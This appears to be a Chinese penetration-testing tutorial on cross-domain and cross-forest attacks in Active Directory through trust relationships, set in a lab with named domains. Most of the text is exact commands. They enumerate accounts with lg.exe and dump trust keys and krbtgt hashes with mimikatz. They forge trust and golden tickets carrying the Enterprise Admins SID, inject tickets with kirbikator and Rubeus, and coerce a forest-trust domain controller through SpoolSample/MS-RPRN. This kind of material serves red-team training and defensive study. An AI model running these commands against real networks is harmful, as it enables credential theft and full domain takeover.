0、前言
常见的跨域攻击方法有以下几种:
i、利用常规的渗透方法,比如 Web 漏洞
ii、利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的
iii、利用域信任关系
这里主要看第三种:域信任关系
当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。
域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。
域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递。
在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。
1、获取域信息
这里使用工具 lg 进行域内信息的收集,lg 是一款用 C 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。
枚举 teamssix 域中的用户组
代码语言:javascript复制lg.exe teamssix.
枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系
代码语言:javascript复制lg.exe \dc
枚举远程计算机的用户名
代码语言:javascript复制lg.exe \dc -lu
枚举远程系统中全部用户的 SID
代码语言:javascript复制lg.exe \dc -lu -sidsout
枚举远程系统指定组中的所有成员的 SID
代码语言:javascript复制lg.exe \dcadministrators -lu -sidsout
2、利用域信任密钥获取目标域权限
这里环境信息为:
父域的域控:dc.teamssix.com
子域的域控:subdc.sub.teamssix.com
子域内的计算机:user4.sub.teamssix.com
子域内的普通用户:user4
在子域的域控中使用 mimikatz 获取需要的信息
代码语言:javascript复制mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit
得到当前域的 SID 、父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据
代码语言:javascript复制这里的 sids 是父域的 sid,sids 后的 519 表示创建的用户属于父域的管理员组
mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit
利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中
代码语言:javascript复制asktgs subdc_administrator.kirbi cifs/dc.teamssix.com
将获取的 TGS 票据注入到内存中
代码语言:javascript复制kirbikator lsa cifs.dc.teamssix.com.kirbi
使用 dir 访问目标域控
代码语言:javascript复制dir \dc.teamssix.comc$
3、利用 krbtgt 散列值获取目标域的权限
如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。
首先获取当前子域和父域的 SID 值,可以使用以下工具或命令
代码语言:javascript复制wmic useraccount get caption,sid
whoami /user
adfind.exe -sc u:user4 | findstr Sid
Get-DomainSID sub.teamssix.com # PowerView 里的命令
接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可
代码语言:javascript复制mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
在子域普通用户权限的计算机中构造黄金票据
代码语言:javascript复制mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit
4、利用无约束委派和 MS-RPRN 获取信任林权限
如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的哈希值。
假设这里获取了 teamssix.com 域的域控权限,且 0day.org 与 teamssix.com 域有林信任关系
首先在 teamssix.com 的域控上监听身份认证请求
代码语言:javascript复制rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
代码语言:javascript复制interval: 用于设置监控的时间间隔
filteruser: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名
开启监听后,使用 SpoolSample 工具让 OWA2010SP3.0day.org 向 dc.teamssix.com 发送身份认证请求
代码语言:javascript复制SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com
获得票据后,使用 rubeus 将票据注入内存
代码语言:javascript复制rubeus.exe ptt /ticket:<TGT 票据>
使用 mimikatz 获取目标的 krbtgt 散列值
代码语言:javascript复制mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0daykrbtgt" exit
接下来,构造黄金票据并将其注入内存,就能够获得 0day.org 域控的权限了
代码语言:javascript复制mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit
参考文章: https://blog.csdn.net/qq_34640691/article/details/111881910 原文链接: https://teamssix.com/211022-122217.html
往期推荐
Kerberos 协议详解与利用
内网学习笔记 | 29、白银票据
内网学习笔记 | 28、黄金票据